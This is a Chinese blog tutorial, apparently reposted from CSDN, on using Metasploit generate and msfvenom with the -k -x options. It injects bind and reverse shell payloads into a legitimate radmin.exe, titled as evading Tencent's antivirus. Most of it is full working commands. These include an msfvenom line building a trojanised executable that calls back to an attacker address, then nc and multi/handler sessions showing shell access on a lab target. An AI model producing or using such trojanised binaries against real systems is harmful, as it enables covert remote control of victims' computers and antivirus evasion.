记一次payload绕过电脑管家免杀

一、msf命令提示符下generate命令生成

1、首先可以使用show payloads命令查看所有的payload，然后使用use命令选中其中一个。

msf5 > show payloads

Payloads
========

   #    Name                                                Disclosure Date Rank    Check Description
   -    ----                                                --------------- ----    ----- -----------
   0    aix/ppc/shell_bind_tcp                                               manual No     AIX Command Shell, Bind TCP Inline
   1    aix/ppc/shell_find_port                                              manual No     AIX Command Shell, Find Port Inline
   2    aix/ppc/shell_interact                                               manual No     AIX execve Shell for inetd
   3    aix/ppc/shell_reverse_tcp                                            manual No     AIX Command Shell, Reverse TCP Inline
   ...
   ...
   559 windows/x64/vncinject/reverse_tcp_uuid                               manual No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   560 windows/x64/vncinject/reverse_winhttp                                manual No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   561 windows/x64/vncinject/reverse_winhttps                               manual No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16

2、使用generate -h查看命令帮助

msf5 payload(windows/shell_bind_tcp) > generate -h
Usage: generate [options]

Generates a payload. Datastore options may be supplied after normal options.

Example: generate -f python LHOST=127.0.0.1

OPTIONS:

    -E        Force encoding
    -O <opt> Deprecated: alias for the '-o' option
    -P <opt> Total desired payload size, auto-produce appropriate NOP sled length
    -S <opt> The new section name to use when generating (large) Windows binaries
    -b <opt> The list of characters to avoid example: '\x00\xff'
    -e <opt> The encoder to use
    -f <opt> Output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war
    -h        Show this message
    -i <opt> The number of times to encode the payload
    -k        Preserve the template behavior and inject the payload as a new thread
    -n <opt> Prepend a nopsled of [length] size on to the payload
    -o <opt> The output file name (otherwise stdout)
    -p <opt> The platform of the payload
    -v        Verbose output (display stage in addition to stager)
    -x <opt> Specify a custom executable file to use as a template

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24

generate常用选项解释：
-b 去掉坏字符，例如：-b ‘\x00\xff’
-e 设置编码方式，可以使用show encoders命令查看所有编码方式
-f 输出格式，不设置默认为ruby语言。例如-f c或-f exe
-i 设置编码次数，一般用作多次编码免杀
-k 保持源模版行为，并将payload作为一个线程注入到一个进程中，常和-x配合使用
-o 输出文件名
-x 定义一个文件作为模版
3、generate命令生成windows/shell_bind_tcp的payload，并注入到radmin程序中

msf5 payload(windows/shell_bind_tcp) > generate -k -x /usr/share/windows-binaries/radmin.exe -f exe -o rradin.exe
[*] Writing 1319424 bytes to rradin.exe...

    1
    2

4、生成payload，在靶机打开rradmin.exe后，指定的4444端口被打开，远程使用nc连接如下图

luredeMacBook-Pro:~ lure$ nc 10.10.10.166 4444
Microsoft Windows [�汾 6.1.7601]
��Ȩ�� (c) 2009 Microsoft Corporation��Ȩ��

C:\Users\lovely\Desktop>whoami
whoami
lovely-pc\lovely

C:\Users\lovely\Desktop>

    1
    2
    3
    4
    5
    6
    7
    8
    9

5、有坑注意。msf的payload中有windows/shell/bind_tcp和windows/shell_bind_tcp，其为两个作者所做，经过测试，在使用nc连接windows/shell/bind_tcp生成的payload时，会产生连接成功，但无返回数据的bug。
二、kali下使用msfvenom命令生成

1、使用–list payloads选项查看所有payload

root@kali2020:~# msfvenom --list payloads

Framework Payloads (562 total) [--payload <value>]
==================================================

    Name                                                Description
    ----                                                -----------
    aix/ppc/shell_bind_tcp                              Listen for a connection and spawn a command shell
    aix/ppc/shell_find_port                             Spawn a shell on an established connection
    aix/ppc/shell_interact                              Simply execve /bin/sh (for inetd programs)
    aix/ppc/shell_reverse_tcp                           Connect back to attacker and spawn a command shell
    android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP
    ......

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13

2、使用–list-options查看可用参数

root@kali2020:~# msfvenom -p windows/shell_reverse_tcp --list-options
Options for payload/windows/shell_reverse_tcp:
=========================

       Name: Windows Command Shell, Reverse TCP Inline
     Module: payload/windows/shell_reverse_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
Total size: 324
       Rank: Normal

Provided by:
    vlad902 <vlad902@gmail.com>
    sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting Required Description
----      --------------- -------- -----------
EXITFUNC process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23

3、使用msfvenom生成payload并注入到radmin进程中

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.136 LPORT=9876 -k -x /usr/share/windows-binaries/radmin.exe -f exe -o r2admin.exe

    1

root@kali2020:~# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.136 LPORT=9876 -k -x /usr/share/windows-binaries/radmin.exe -f exe -o r2admin.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 1319424 bytes
Saved as: r2admin.exe

    1
    2
    3
    4
    5
    6
    7

4、靶机运行r2admin，并在攻击机用msfconsole接收反弹shell

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.10.10.136
lhost => 10.10.10.136
msf5 exploit(multi/handler) > set lport 9876
lport => 9876
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.10.136:9876
[*] Command shell session 1 opened (10.10.10.136:9876 -> 10.10.10.166:50097) at 2020-07-15 23:45:36 -0400

pwd
pwd
'pwd' ��ڲ��ⲿ��Ҳ��ǿ��еĳ��
��ļ��

C:\Users\lovely\Desktop>whoami
whoami
lovely-pc\lovely

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20

三、小结

msfconsole下的generate与msfvomen命令实际是不同环境下的同一个命令，其功能基本相同，这里我们要学习的重点是使用-k -x 选项将payload注入到可以执行文件exe中，这项技能在实战中后渗透测试的可持久化中经常会被用到。
————————————————
版权声明：本文为CSDN博主「redwand」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/redwand/article/details/107503304

原文地址：https://www.cnblogs.com/lzkalislw/p/15175156.html